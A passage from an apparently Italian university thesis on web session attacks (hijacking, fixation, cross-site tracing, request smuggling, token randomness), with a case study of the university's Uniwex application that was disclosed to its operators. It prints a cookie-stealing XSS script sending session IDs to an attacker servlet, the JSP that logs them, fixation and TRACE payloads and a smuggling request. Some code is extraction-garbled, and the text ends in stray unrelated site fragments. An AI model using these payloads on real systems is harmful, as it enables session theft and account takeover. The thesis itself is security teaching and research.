37 B.2 Common attack vectors 27 The ways he can accomplish this are different and sometimes subtle: the subject of the next paragraphs are us, the hacker. If we are in the same subnet of the victim, for example in the same LAN, ARP spoofing can be used to redirect the router traffic to us, and to sniff it searching for some patterns in HTTP raw packets: strings like jsessionid and phpsessid will certainly contain session tokens. SSL and TLS can be sniffed too, injecting fake certificates in the channel and then decrypting the originally encrypted traffic [10]. If we have access to the victim machine, locally or remotely, we can search in common browser installation paths the presence of persistent cookies (cookies that persist in the hard drive for n days) and grab them to hijack a session before they expire. If we don t really know the IP or the location of the victim, or if we cannot access to his machine, we can directly attack the web application. That can be done through Cross Site Scripting, as we mentioned in the previous paragraph. First we found an XSS hole: if permanent (for example an HTML form of a web forum, where our malicious code can be stored until someone delete the page), we inject some malicious Javascript on it, otherwise if reflected (a vulnerable URL variable that render the a username on an authenticated page) we send a malicious link to the victim in which the encoded Javascript code is appended after the vulnerable variable. With a script like the following one, imaging we are exploiting a Java Enterprise web application, <script> var str="http:// :8084/cookiewebservlet? JSESSIONID="+document.cookie+" &url="+document.url; if(document.cookie.indexof("done")<0)\{ document.cookie="done=true";

38 28 B Session Management nelle applicazioni Web document.location.replace(str); } </script> we can send to a specially constructed Servlet the session ID of the victim that unconsciously ran the script, just viewing the page on which it was embedded in. To deeply understand how the attack works, see the diagram in Fig. B.2. But let s explain the exploit. The connection is re-directed to our malicious servlet, and we add to the URL two values: the JSESSIONID retrieved from the session with document.cookie; the document location before the redirection, with the document.url, needed to re-direct the connection from our mailcious page to the previous requested one. In addiction, because we made this to exploit a permanent XSS, the first time that the script is executed a cookie is sent to the victim, with document.cookie= done=true, so the next time the condition inside the if will be false and the script will not be executed again. The simple JSP page looks as the following (look at the comments inside the code): contenttype= t e x t /html %> pageencoding= UTF?8 %> <%?? u r i= http : / / java. sun. com/ j s p / j s t l / core p r e f i x = c %>??%> <!DOCTYPE HTML PUBLIC?//W3C//DTD HTML 4.01 T r a n s i t i o n a l //EN http : / /www. w3. org /TR/html4/ l o o s e. dtd > <html> <head> <meta http? equiv= Content?Type content= t e x t /html ; c h a r s e t=utf?8 >

39 B.2 Common attack vectors 29 Figura B.2: A clear diagram shows how to exploit session hijacking (Hacker s image gently taken from Metasploit.com artworks).

40 30 B Session Management nelle applicazioni Web <t i t l e >JSP t h i e f </ t i t l e > </head> <body> <h1>jsp t h i e f </h1> import= java. i o. %> <% //We parse the URL s e a r c h i n g two s t r i n g s : //JSESSIOND and url, and we s t o r e t h i s in two s t r i n g s. S t r i n g c o o k i e = r e q u e s t. getparameter ( JSESSIOND ) ; // the o r i g i n a l page that the // user had requested S t r i n g u r l = r e q u e s t. getparameter ( u r l ) ; F i l e W r i t e r fw = new F i l e W r i t e r ( /home/euronymous/ s t o l e n. txt, true ) ; PrintWriter pw = new PrintWriter ( fw ) ; //The s t o l e n i n f o r m a t i o n s are logged in a f i l e. i f ( c o o k i e!= n u l l ){ pw. p r i n t l n ( c o o k i e : + c o o k i e ) ; pw. f l u s h ( ) ; pw. p r i n t l n ( u r l : + u r l ) ; pw. f l u s h ( ) ; }%> // After that the i n f o r m a t i o n s are s t o r e d in the l o g f i l e, // the connection i s d i r e c t e d to the page from which the connection //was re? d i r e c t e d ( the o r i g i n a l page that the user had requested ) <s c r i p t > document. l o c a t i o n. r e p l a c e( <%= u r l %> ) </s c r i p t > </body> </html> Secondly we wait some callback from the victim: he must fall in the trap

41 B.2 Common attack vectors 31 that we had prepared to him. Finally we connect to the web application that issued the stolen session IDs: in this way the application give us a new session ID. Then we just modify the session token that we send in the next request (or directly in the cookie, if we have it) with the one we stole before, and we ve successfully hijacked the victim session. Modify the requests is really easy using a proxy like Burp (introduced in the first chapter), or using the Opera browser that natively supports cookie modification. We can do this until the cookie doesn t expires: in fact a good rule to follow for a software developer is to always specify an Expiration attribute in the cookie. Usually this is a step that most Application Servers or Web Frameworks make for us, but is necessary to understand that when a cookie expires if we make a request to the application with it we are forced to re-login and/or to receive a new fresh cookie. B.2.2 Session Fixation We have seen that session hijacking could be terribly effective to impersonate a user and steal his session, but could be difficult to exploit in some cases. We will now present another different technique that works in almost all web applications that didn t implement advanced session management control. We call it session fixation because we fix the victim session ID with one that we choose, usually the session token that the application give us. This technique is definitely effective to almost every session management control that we presented in the first chapter: URL, hidden-fields and cookies. Generally we can classify session management systems in two types: those that implement a permissive strategy, where web browsers are allowed to present to the web application any session ID, and those that use a strict strategy where session IDs from client are accepted only if they are previously issued by the web application server. In the exploitation phase this doesn t

42 32 B Session Management nelle applicazioni Web really matter, and most of the time we will play with systems with strict strategies. The most dangerous case is when we found a session fixation vulnerability analyzing an application that differs from anonymous and authenticated users. In this case if the session token is the same both in the pre-authentication phase and the post-authentication phase, then the web application can be exploited as you can see in Fig B.3. The crucial point on the figure is clearly when the attacker feeds to his victim the session ID with which he want to fix his session, thereby causing the victim s browser to use it. The ways the hacker can fix the victim s session are various and depend to which type of vulnerability we find in the web application and with which type of session management we re playing. If the web application is using URL parameters to issue session tokens to the user, the hacker can simply send to the victim the same URL commonly generated by the server: in the case of a permissive system, we can choose the session ID, in the most common case of a strict system we must append to the session token parameter the valid ID that the web application issued to us. An example is the following: this bug is present in the OpenEMM enterprise application, discussed in the first chapter regarding URL-based session tokens. jxndvor If the web application is using cookies or hidden fields, we can exploit a Cross Site Scripting vulnerability or an Header Injection bug to fix the victim session. In the case we found a Cross Site Scripting bug it can be exploited sending to the victim something like that: page=<script>document.cookie={} JSESSIONID=sdkcjh7jh23hbkc3cbcskcdh; %20domain=vulnerable.application.com ;</script> Fixing the session through XSS is effective also in case of HTTP-only cookies,

43 B.2 Common attack vectors 33 Figura B.3: The five phases of a Session Fixation attack.

44 34 B Session Management nelle applicazioni Web an anti-xss tecnique employed by Microsoft to limit the malicious javascript plague. Directly from Microsoft Developer Network website: This feature is a new attribute for cookies which prevents them from being accessed through client-side script. A cookie with this attribute is called an HTTP-only cookie. Any information contained in an HTTP-only cookie is less likely to be disclosed to a hacker or a malicious Web site. As every Microsoft security initiative, like the Service Pack 2 for Windows XP (where some anti stack-smashing protection and other features were introduced ), it has been easily bypassed and exploited: Cross Site Tracing, XmlHttpRequest and HTTP Request Smuggling can be used to bypass HttpOnly protection. We will briefly discuss these techniques later in this chapter. In the case the web application escapes the classic script characters to prevent the classic malicious injection vectors, we can issue the cookie using the META tag, as shown below: page=<meta%20http-equiv=setcookie%20content={} JSESSIONID= sdkcjh7jh23hbkc3cbcskcdh;%20domain=vulnerable.application.com ;</script> Another way to successfully exploit Session Fixation is through HTTP header injection. This technique was presented by the world known web application security expert Amit Klein (Sanctum, WatchFire), who found a serious bug in Adobe Flash players [18]: writing scripts in ActionScript it was possible to forge custom HTTP headers for outgoing HTTP requests. An example is shown below: var req:loadvars=new LoadVars(); req.addrequestheader("expect", "<script>alert( gotcha! )</script>"); req.send("http://www.target.site/","_blank","get";); This behavior is exploitable for our situation with HTTP response splitting [19], forging a request like the following where we specify a persistent cookie that expires the next year:

45 B.2 Common attack vectors 35 page=<script>document.cookie="jsessionid=sdkcjh7jh23hbkc3cbcskcdh; %20Expires=Monday,%201-May2009%2008:00:00%20GMT";</script> After we successfully fixed the victim session with one of the techniques previously described, we just refresh the current not-authenticated page of the web application we are in (or make another request, if we are working with proxies): we can now view and access the same informations the victim is requesting, because we are in his session. This devastating and relatively tricky attack has plagued a lot of famous applications such as Drupal CMS [20], Ruby on Rails [21] and JEE leader BEA Systems, now Oracle [22]. B.2.3 Cross Site Tracing As we mentioned in the previous paragraph, Microsoft HTTP-only antixss technique could be exploited in different ways: we will cover now XST, best known as Cross Site Tracing. Jeremiah Grossman, founder of WhiteHat Security and world-known web security researcher, discovered in 2003 a way to bypass HTTP-only protections: in five years Microsoft had the time to patch his anti-xss technique on Internet Explorer, so maybe you re asking why we are still describing it. XST still be an important threat because it doesn t need any XSS bugs in the web application, and the victim doesn t need to connect to an XST vulnerable application. But lets see how it works. Cross Site Tracing takes its name from the Http TRACE method: as you know there exists more than two methods (GET and POST), as OPTIONS, HEAD, and so on. The TRACE method useful only for debug sessions not for real communications: anyway, for correctness, we reported the RFC2616 section: 9.8 The TRACE method is used to invoke a remote, application-layer loop-back of the request message. The final recipient of the request SHOULD reflect the message received back to the client as the entity-body of a 200

46 36 B Session Management nelle applicazioni Web (OK) response. [...] TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information. The value of the Via header field (section 14.45) is of particular interest, since it acts as a trace of the request chain. Use of the Max-Forwards header field allows the client to limit the length of the request chain, which is useful for testing a chain of proxies forwarding messages in an infinite loop. If the request is valid, the response SHOULD contain the entire request message in the entity-body, with a Content-Type of message/http. Responses to this method MUST NOT be cached. Basically what it states is that TRACE echoes whatever the application send back to the client: this means that cookies too can be retrieved in this way. Reading the previous excerpt we can understand that the TRACE method, as the rest of methods that differs from GET and POST, must be negated and appropriately filtered out in production environments. Unfortunately a lot of web applications and application servers leave TRACE enabled. To test which Http methods are enabled we can send a request like this: OPTIONS https://uniwex.unibo.it:443/uniwex/index.do HTTP/1.0 the response will be something like that: HTTP/ OK Date: Fri, 30 May :16:10 GMT Server: Apache/2.2.3 (Linux/SUSE) Allow: GET, HEAD, POST, TRACE, OPTIONS Content-length: 0 Cache-Control: max-age=0 Expires: Fri, 30 May :16:10 GMT Connection: close Content-Type: text/plain To really exploit the attacks we must find a way to embed the malicious code that makes a TRACE request in a web page: the point is that JS and browsers don t support Http methods other that GET and POST. We need

47 B.2 Common attack vectors 37 to use some extended client-side scripting languages like ActiveX if we work with Internet Explorer, XML-DOM if we work with Mozilla based browsers, or ActionScript and Java. An example, working with Internet Explorer 6 (sp2) is the following: note the CRLF before the method name, used to bypass the limitation that Microsoft imposed in sp2 where methods could not start with TRACE. var x = new ActiveXObject("Microsoft.XMLHTTP"); x.open("\r\ntrace","/",false); x.setrequestheader("max-forwards","0"); x.send(); alert(x.responsetext); Another point is that browser security policies prevent the script to contact a domain different from the one in which the script is, thus limiting the exploit capabilities of our attack: two possibilities can be leveraged. If we find a Cross Site Scripting bug in the web application we want to attack, either stored or reflected, we can inject the malicious code in the vulnerable parameter: this will work because the script that will make the TRACE request is in the same domain of the web application. Another possibility, originally presented by Jeremiah Grossman in his original XST paper, is associating TRACE with a browser vulnerability that permit to bypass the same-domain restrictions. At the time of writing (2008), the latest issue for Internet Explorer 6 and 7 is CVE , which could be exploited by remote attackers to bypass security restrictions and gain knowledge of sensitive information. The vulnerability was discovered by Michael Zalewsky: here below one of his citations. In other words, the entire security model of the browser collapses like a house of cards and renders you vulnerable to a plethora of nasty attacks; and local system compromise is not out of question, either. To see a sample code of a previous vulnerability in Internet Explorer

48 38 B Session Management nelle applicazioni Web 6, in relation of TRACE, here below we reported a famous exploit, the showmodaldialog bug: function xssdomaintracerequest(){ var examplecode = "var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("trace","http://foo.bar",false); xmlhttp.send(); xmldoc=xmlhttp.responsetext; alert(xmldoc);"; var target = "http://foo.bar"; cexamplecode = encodeuricomponent(examplecode + ;top.close() ); var readycode = font-size:expression(execscript (decodeuricomponent(" + cexamplecode + "))) ; showmodaldialog(target, null, readycode); } B.2.4 Liberal Cookie Scope To understand what the means of liberal is, we must go back to chapter one and remember how the server issues the cookie to the client with the Set- Cookie directive. There are two important attributes that may be included in the response: domain and path. As RFC2695 states, domain attribute is optional the value of the Domain attribute specifies the domain for which the cookie is valid. If an explicitly specified value does not start with a dot, the user agent supplies a leading dot, as it is the path attribute The value of the Path attribute specifies the subset of URLs on the origin server to which this cookie applies. Suppose that an application hosted at orrlob.com is issuing a cookie like this: Set-Cookie: JSESSIONID=78AAE A3FC46B790DB ; Domain=secure.orrlob.com; Path=/secure/; Secure

49 B.2 Common attack vectors 39 The domain attribute is explicitly set, thus overriding the default behavior for which the cookie (because is issued from orrlob.com) will be valid for every *.orrlob.com second level domain. The previous cookie is valid only for secure.orrlob.com and related sub-domains, as ultra.secure.orrlob.com, but not for his parent orrlob.com or for any other domains at the same level, as frontend.orrlob.com. Said this, it is easy to understand that if an application issues a cookie with the domain scope set too liberal, this could lead to serious security implications. If we suppose that the cookie is issued with a domain restriction of orrlob.com, then if an attacker finds an XSS on frontend.orrlob.com he can steal cookies from secure.orrlob.com too (that is supposed to be a sensitive application), because the web application will issue the same cookie to every sub-domain under orrlob.com. Liberalizing the path attribute is an error that developers make even more frequently than domain restrictions, missing the trailing slash and completely trusting on browser security policies. Missing the trailing slash is a common error: let s imagine that orrlob.com is issuing the following cookie Set-Cookie: JSESSIONID=78AAE A3FC46B790DB ; Domain=secure.orrlob.com; Path=/secure; Secure as you can see it differs from the previous one because this time the Path attribute doesn t contain the trailing slash. In this situation the value /secure is parsed by the browser not as a directory but as a pattern, thus limiting containment capabilities of the application to limit the session to a certain directory or subdirectory. The /secure pattern will match URLs like: /secure/extra /extra/secure /users/secure The worst case is clearly when the path scope is completely liberalized, in situations like

50 40 B Session Management nelle applicazioni Web Path=/ that means the web application root. In this case liberalizing the path scope can have the same dangerous effects that liberalizing the domain scope to his parent. Even worst, when we develop web application we have to (almost) trust the client browsers: we said almost because we can t totally rely on browsers and how they manage our input. Amit Klein has demonstrated how to bypass path restrictions, even if the scopes were set correctly and securely. Path restrictions can be fundamentally bypassed if the application we are attacking is vulnerable to Cross Site Scripting, if not we can use techniques similar to HTTP Response Splitting [19]. Other old tricks that still work in Internet Explorer 6 Sp2 and Firefox 1.5 (not everyone use updated browsers) can be used to exploit path restrictions. If we imagine that orrlob.com wants to protect a sensitive part of the application, let s say /secure, from another normal part /frontend, then it will issues cookies with correct domain and path scopes, as seen before. But with a link like the following, supposing that a user with a cookie with Path=/secure/ wants to attack the /secure part of the application: IE6 Sp2 will send this link to /frontend with /secure credentials, Firefox 1.5 will canonicalize the URL into Note that %2e%2e is the URL encoded value of two dots (..), and that../ means go up for one step in the directory tree. Another trick proposed by Mr. Klein, that works in many Windows-based web servers like Microsoft IIS is the following:

51 B.3 Uncommon attack vectors 41 B.3 Uncommon attack vectors B.3.1 HTTP Request Smuggling We will now describe an advanced exploitation technique that we can use in enterprise web applications that usually are hidden behind some levels of protection/cache. In fact it s useful when there are one or more HTTP devices inside the data flow between the client and the web application. Published in 2005 by Amit Klein and his colleagues from Watchfire, it really scared the most of manufacturer already in security field. Three years ago the number of web application firewalls was almost zero: ModSecurity project by Ivan Ristic was just borning, Cisco was still researching his web application firewall appliance. Anyway reverse proxy servers and load balancers were popular and widely used: Squid, Microsoft ISA, Oracle WebCache and BEA WebLogic (now Oracle). Smuggling HTTP requests means to convey these requests somewhere secretly and illicitly: somewhere stands for HTTP devices that fail to detect discrepancies parsing malformed and specially-crafted packets. From the point of view of a web application firewall or IDS this means don t detect bad packets and let propagate mass-infection worms. From the point of view of a caching proxy server this means unintentionally association between a URL and the content of another page that potentially contains malicious code. Although the numerous type of attacks that we can build smuggling requests, we will focalize with the one can help us exploiting session management. Smuggling HTTP requests through a proxy server (not necessarily with caching capabilities) can be useful to hijack requests and then session tokens: it s a bit different from classic smuggling, because we need to find a bug in the web application we are targeting, like a Cross Site Scripting (almost 85 percent of web applications are vulnerable to XSS, as previously described in paragraph B 1.2). The benefits of request hijacking with smuggling are that HTTP-only and HTTP-authentication tokens can be directly stolen, thing that makes

52 42 B Session Management nelle applicazioni Web this attack more dangerous that Jeremiah Grossman s Cross Site Tracing (XST), where TRACE mode must be enabled in the server. Another good point is that also if we need an XSS in the web application, we don t need to directly communicate with the victim. But lets analyze a real example: POST /good_script.jsp HTTP/1.0 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 9 Content-Length: 204 this=thatpost /vuln_page.jsp HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 95 param1=value1&data=<script>alert("stealing%20your%20data:"% 2bdocument.cookie)</script>&foobar= Now lets imagine a situation with Microsoft ISA proxy and Apache Tomcat container: ISA will parse the packet as a single request to /good script.jsp of Content-Lenght of 204 bytes, failing to detect another inner request. Tomcat will parse it as a request of 9 bytes (this=that) and another incomplete request of 95 declared bytes (the inner one), even if bytes are in fact 94. ISA will send back to the attacker the response to the first normal request to /good script.jsp, the other incomplete request is queued by Tomcat. Now the first time a client (victim) will request a resource to ISA, it will be normally forwarded to Tomcat. Remember that the web container still have a request to complete in the queue, cause it was 94 of 95 declared bytes. If for instance the client will made a GET request, then Tomcat will faulty parse the first byte of GET (so G) as the last byte of the previous queued and incomplete request, considering the rest of the HTTP request as invalid.

53 B.3 Uncommon attack vectors 43 Finally Tomcat will send back to ISA the HTTP response of the just completed request of 95 bytes, as the follwing (note the last byte, G): POST /vuln_page.jsp HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 95 param1=value1&data=<script>alert("stealing%20your%20data:"% 2bdocument.cookie)</script>&foobar=G So the victim will have his session token stolen: here for simplicity we just used an alert pop-up. As you can see we didn t interact with the victim even if we exploited a reflected Cross Site Scripting: that in normal situations, as we have seen before, it would need some means to be sent to the client. B.3.2 Phase space analysis and FIPS tests After Michal Zalewsky research Strange Attractors and TCP/IP Sequence Number Analysis [23] in 2001, the IT security and the software vendors world started to be scared by the possibilities that those new forms of attack were giving. We want to directly cite Michal s words, taken from his abstract: We consider the problem of inserting a malicious packet into a TCP connection, as well as establishing a TCP connection using an address that is legitimately used by another machine. We introduce the notion of a Spoofing Set as a way of describing a generalized attack methodology. We also discuss a method of constructing Spoofing Sets that is based on Phase Space Analysis and the presence of function attractors. We review the major network operating systems relative to this attack. The goal of this document is to suggest a way of measuring relative network-based sequence number generators quality, which can be used to estimate attack feasibility and analyze underlying PRNG function behavior.

54 44 B Session Management nelle applicazioni Web This approach can be used on a wide range of applications and protocols: DNS queries, TCP/IP protocol sequence numbers and every type of session token that an application can generate, from cookies to anti-xsrf nonce protections. We will now present a powerful tool created by Michal Zalewsky named Stompy (Session Stomper), really useful to collect and test session tokens for FIPS compliance [24], as it s stated here: Statistical random number generator tests. If statistical random number generator tests are required (i.e., depending on the security level), a cryptographic module employing RNGs shall perform the following statistical tests for randomness. A single bit stream of 20,000 consecutive bits of output from each RNG shall be subjected to the following four tests: monobit test, poker test, runs test, and long runs test. Stompy is a really fast and powerful tool, and is not limited to FIPS tests: the tool performs other checks as spatial correlation, trying to identify if there exist some correlations between neighboring bits of the session tokens, and spectral tests to look for dependency of the actual processed bits with the previously analyzed ones. Here below a typical Stompy output, captured during an analysis of uniwex.unibo.it: brutus stompy #./stompy https://uniwex.unibo.it/uniwex/href.do?start=1 Session Stomper 0.04 by Start time : 2008/05/17 23:26 Target host : uniwex.unibo.it:443 [ ] Target URI : /uniwex/href.do?start=1 => Target acquired, ready to issue test requests. [+] Sending initial requests to locate session IDs...

55 B.3 Uncommon attack vectors 45 NOTE: Request #1 answered with a redirect (302 Moved Temporarily) [0.40 kb] NOTE: Request #2 answered with a redirect (302 Moved Temporarily) [0.40 kb] [+] Cookie parameter JSESSIONID may contain session data: #1: D26B8A6D16F58DE1B4AFFA5D522FE2C5 #2: 7D008AE4AA10613DD3E8C41FF19C2877 [+] Redirects differ and seem to contain session data: #1: https://uniwex.unibo.it/uniwex/index.do; jsessionid=d26b8a6d16f58de1b4affa5d522fe2c5 #2: https://uniwex.unibo.it/uniwex/index.do; jsessionid=7d008ae4aa10613dd3e8c41ff19c2877 => Found 2 field(s) to track, ready to collect data. [*] Capture diverted to stompy dat. [*] Sending request #20000 (100.00% done, ETA 00h00m00s)... done => Samples acquired, ready to perform initial analysis. [*] Alphabet reconstruction / enumeration:.. done === Cookie JSESSIONID (length 32) === [+] Alphabet structure summary: A[016]=00032 Theoretical maximum entropy: bits (excellent) => Analysis done, ready to execute statistical tests. [*] Checking alphabet usage uniformity... PASSED

56 46 B Session Management nelle applicazioni Web [*] Checking alphabet transition uniformity... PASSED [*] Converting data to temporal binary streams (GMP)... done [*] Running FIPS monobit test (1/4)... PASSED [*] Running FIPS poker test (2/4)... PASSED [*] Running FIPS runs test (3/4)... PASSED [*] Running FIPS longest run test (4/4)... PASSED [*] Running 2D spectral test (2 bit window)... PASSED [*] Running 2D spectral test (3 bit window)... PASSED [*] Running 2D spectral test (4 bit window)... PASSED [*] Running 2D spectral test (5 bit window)... PASSED [*] Running 2D spectral test (6 bit window)... PASSED [*] Running 2D spectral test (7 bit window)... PASSED [*] Running 2D spectral test (8 bit window)... PASSED [*] Running 3D spectral test (1 bit window)... PASSED [*] Running 3D spectral test (2 bit window)... PASSED [*] Running 3D spectral test (3 bit window)... PASSED [*] Running 3D spectral test (4 bit window)... PASSED [*] Running 6D spectral test (1 bit window)... PASSED [*] Running 6D spectral test (2 bit window)... PASSED [*] Running spatial correlation checks... PASSED RESULTS SUMMARY: Alphabet-level : 0 anomalous bits, 128 OK (excellent). Bit-level : 0 anomalous bits, 128 OK (excellent). Stompy is a really great tool, and uniwex.unibo.it has passed every test only because the web application relies on Apache Tomcat to issue cookies: the PRNG that Tomcat ( in this case) implements is widely known and secure. Another interesting tool we can use doing PRNG and FIPS tests is Burp Sequencer, written by Dafydd Stuttard (Portswigger). It is part of the Burp Suite, a suite of tools to conduct penetration tests and web application

57 B.3 Uncommon attack vectors 47 Figura B.4: The Tor onion-routing network, useful to grant anonymity and IP dynamic change. assessment in a manual way. Burp sequencer can be seen as Stompy on steroids, as his author states: in fact it does everything Stompy do, but with graphical results, possibility to proxify the requests (in the Tor onionrouting network), quantitative results and arbitrary sample size (although are needed for FIPS compliance). In fact proxify our requests is always a good practice, because if we must collect requests from the same IP, requesting the same page every time (just requesting a different session ID every time), our attacks are prone to be detected by some IDS or in the worst case we will be banned in a blacklist of some web application firewall. Using Tor as in the figure below, we can frequently change our identity and we are chained between at least 4-5 proxies. In figure B.5 you can see how Burp sequencer works and how he can find anomalies doing black-box testing on pseudo-randomly generated data, on The FIPS poker test divides the bit

58 48 B Session Management nelle applicazioni Web Figura B.5: The figure shows the chart of the FIPS poker test, passed on 121 bits but with anomalies that are represented with the red lines.

59 B.4 Real world attack case: Uniwex 49 sequence at each position into consecutive, non-overlapping groups of four, and derives a four-bit number from each group. It then counts the number of occurrences of each of the 16 possible numbers, and performs a chi-square calculation to evaluate this distribution. If the sample is randomly generated, the distribution of four-bit numbers is likely to be approximately uniform. At each position, the test computes the probability of the observed distribution arising if the tokens are random. In this case the distribution is not uniform, and the chi-square [25] value on bit 15 is too low, thus introducing the possibility of percent that the bit 15 will have the same value (1.32 in this case) on a (pseudo)random sample. B.4 Real world attack case: Uniwex We want to finish the second chapter, entirely focused on attacks, demonstrating which behaviors of a widely used web application can be exploited in order to gain access to it or to force users to do what we want. The web application we will analyze is Uniwex, reachable at http//uniwex.unibo.it: this is the huge application that students like me use to subscribe for a particular exam, and professors use to record the exam grades and other stuff. We would like to clarify here that we didn t make anything illegal, and that we have informed the Cesia employees and executives (those that hosts the Uniwex application on their Vmware ESX infrastructures) two times: during the Clusit conference on 4th of June (Dal Penetration testing alla Risk Analysis) presented by Raul Chiesa, and with a white-paper that we sent them. Lead by professor Ozalp Babaoglu we also made a two-hour presentation to some members of CeSia s CERT (Computer Emergency Response Team) and CeSia s executives. The analysis we have made was a Black Box one, because we didn t have access to the source code of the application: in this case Information

60 50 B Session Management nelle applicazioni Web Disclosure and Reconnaissance play an important role to discover every asset that could be exploited. We will now discuss every vulnerability discovered regarding only session management, explaining how to exploit it where we think it is useful for comprehension. B.4.1 Wrong session token redundancy Uniwex uses as its state management technology Cookies, but sometime we can observe the same session ID issued on the cookie as URL parameter too (for example the first time we connect to the application ). Although this double approach could address compatibility issues when cookies are disabled on client browser, it is implemented in a bad way because if we effectively disable cookies on our browser we cannot use the application and it doesn t suggest us to use cookies. This leads to a vulnerability too: if we log in to the application with a browser and then with another different browser (different User-Agent) we change the JSESSIONID URL parameter passed in our request with the cookie that the application issued to the other browser, then we are in the same session, even if the cookie header is actually sending back to the server the correct (and different) session ID that it issued to the second browser. This can be clearly understood in the raw request below: the JSESSIO- NID in the Referer header is the one we are modifying to ride the first browser session, the JSESSIONID in the Cookie header is the one that the application gives to us correctly and it except to receive back. POST /uniwex/prenotazione/studente/actionshowlistaappelli.do HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-us) AppleWebKit/ (KHTML, like Gecko) Version/3.1.1 Safari/ Content-Type: application/x-www-form-urlencoded Referer: https://uniwex.unibo.it/uniwex/index.do; jsessionid=880141f8c293d9b059b126690ad06c19

61 B.4 Real world attack case: Uniwex 51 Accept: text/xml,application/xml,application/xhtml+xml,text/html; q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us Accept-Encoding: gzip, deflate Cookie: JSESSIONID=C5ADF5C9C080BCB7E01E10C Connection: keep-alive Proxy-Connection: keep-alive Host: uniwex.unibo.it Content-Length: 25 action=show&pes_cod=68220 Another possible exploitation vector can be found if we analyze the Referer header: URL-based session tokens are vulnerable to session disclosure on web/application server logs. If the web application has some links to other applications and the user click on them, then the GET request will contain the Referer header, comprehensive of session ID informations. Now the only link is to Unimatica S.P.A company (it can be found on Uniwex home page), but we don t know how the developers will change the web application code in the next releases. B.4.2 Wrong session token issuing mechanism leads to Session Fixation Uniwex web application is vulnerable to one of the most dangerous attack vectors described in the previous paragraphs: session fixation. The server issues a session ID to track the user before the authentication, but it remains the same after the login phase. In this situation, as we deeply discussed before, session hijacking is not needed to steal the user session. We can just send to the victim a malicious link with the session token that Uniwex issued to us (we re an hacker that doesn t have any valid credential to the application): the user click on the link and he s sent to Uniwex login

62 52 B Session Management nelle applicazioni Web Figura B.6: We are authenticated on Uniwex with Firefox, and we have access to restricted functionalities. page. The application recognize the Cookie header of his request as valid (also if theoretically associated with us, the hacker), so it doesn t issue to the victim another different token. The user then authenticates on the web application with our session ID: if we now send a raw request to a protected resource (protected means accessible only if we are authenticated), we can have access to it without the needs to put any credential informations, and most important, we ride the user identity. The raw requests and screenshots are made with two different browsers on the same host, but the same problem is manifested and has been verified with different hosts too (there are no controls on IP or User-Agent). We didn t changed anything: the requests are as they were originally, as you can see inspecting the headers. Lead by professor Ozalp Babaoglu, our research had the possibility to go a step further: in fact our attacks to fix the victim session work identically both for student accounts than professor/executive accounts. Even if non-student accounts need a smart-card and a PIN to be authenticated through a Java applet by Uniwex, the same wrong Session Management mechanism can be exploited to gain access to

63 B.4 Real world attack case: Uniwex 53 Figura B.7: We need a different browser possibly with a different User-Agent too. We open Opera, and we just put as the jsessionid parameter value the token value that is still used on the Firefox session. Figura B.8: We just submit our GET request to Uniwex, and then we re in the same Firefox session. The raw request below lets clarify skeptic thoughts.

64 54 B Session Management nelle applicazioni Web Figura B.9: The raw request to GET some javascritps needed to access the web application functionalities. a privileged session: is out of the scope of this research to enumerate every possible bad consequence of a privilege-escalation like that. B.4.3 Wrong management of expired sessions leads to Information Disclosure As we said before, we - hackers - can ride the victim session with no problems, and most importantly we can do every action under his identity. In case of a computer crime, is even more difficult to identify who made what. We didn t described before Session Riding because I think is not a completely new type of attack, but instead a way to use XSRF, Cross Site Request Forgery [27]. Anyway, if we are the hacker riding the victim s session, and the victim then logout from Uniwex, his session (and ours, because is the same) is invalidated. The victim is forwarded to Uniwex home page, but Uniwex present to us a huge exception: instead of being forwarded to the same page, if we try to send other requests a big exception is thrown by the huge stack of Java objects that are part of Uniwex. This anomalous situation can be ob-

65 B.4 Real world attack case: Uniwex 55 tained if we invalidate a session and then we try to submit the previously invalid session token. This is manifested because Uniwex fails to recognize that another client is actually using the same session token, and because the developers failed to implement a good session management mechanism that effectively understand expired sessions. The huge Java Exception that the Uniwex application throws is partially reported here in Fig. 19. A Java exception is not always useful, but sometimes discloses important informations that can be useful in a Black Box testing, when we don t know the target, to deeply understand how the application works. In fact this exception leads to Information Disclosure and reveals used technologies, as Tomcat, Apache Struts and Apache MyFaces, complete with all their versions and the paths were they are, and specific application paths and pages that can be exploited if access control is wrongly implemented. Few examples that I selected from the exceptions massages (even if they are a lot more): /home/unimatica/uniwex/uniwexng-4.4.0/web-inf/lib/struts-1.1.jar /home/unimatica/uniwex/uniwexng-4.4.0/web-inf/lib/myfaces-api jar We suppose that /unique/uniquenewexception.jsp, that is the page where the exception is rendered, is there only for debug purposes, as the Http TRACE method enabled on the web server. B.4.4 Secunia Advisory SA19493 for Apache Struts prior to Here the previously discovered informations come to help us: Uniwex is using a wide range of Java libraries, but unfortunately outdated, such as Apache Struts 1.1. Apache Struts versions prior to are known to be exploitable with XSS, DoS and security restriction bypassing. Uniwex seems vulnerable to the first point of the advisory The RequestProcessor allows all actions to be canceled making it possible to bypass validation in actions

66 56 B Session Management nelle applicazioni Web Figura B.10: An excerpt of the previously mentioned Uniwex huge exception.

User Guide Guglielmo SmartClient

User Guide Guglielmo SmartClient User Guide Guglielmo SmartClient User Guide - Guglielmo SmartClient Version: 1.0 Guglielmo All rights reserved. All trademarks and logos referenced herein belong to their respective companies. -2- 1. Introduction

Dettagli

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS) UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL

Dettagli

WELCOME. Go to the link of the official University of Palermo web site www.unipa.it; Click on the box on the right side Login unico

WELCOME. Go to the link of the official University of Palermo web site www.unipa.it; Click on the box on the right side Login unico WELCOME This is a Step by Step Guide that will help you to register as an Exchange for study student to the University of Palermo. Please, read carefully this guide and prepare all required data and documents.

Dettagli

Posta elettronica per gli studenti Email for the students

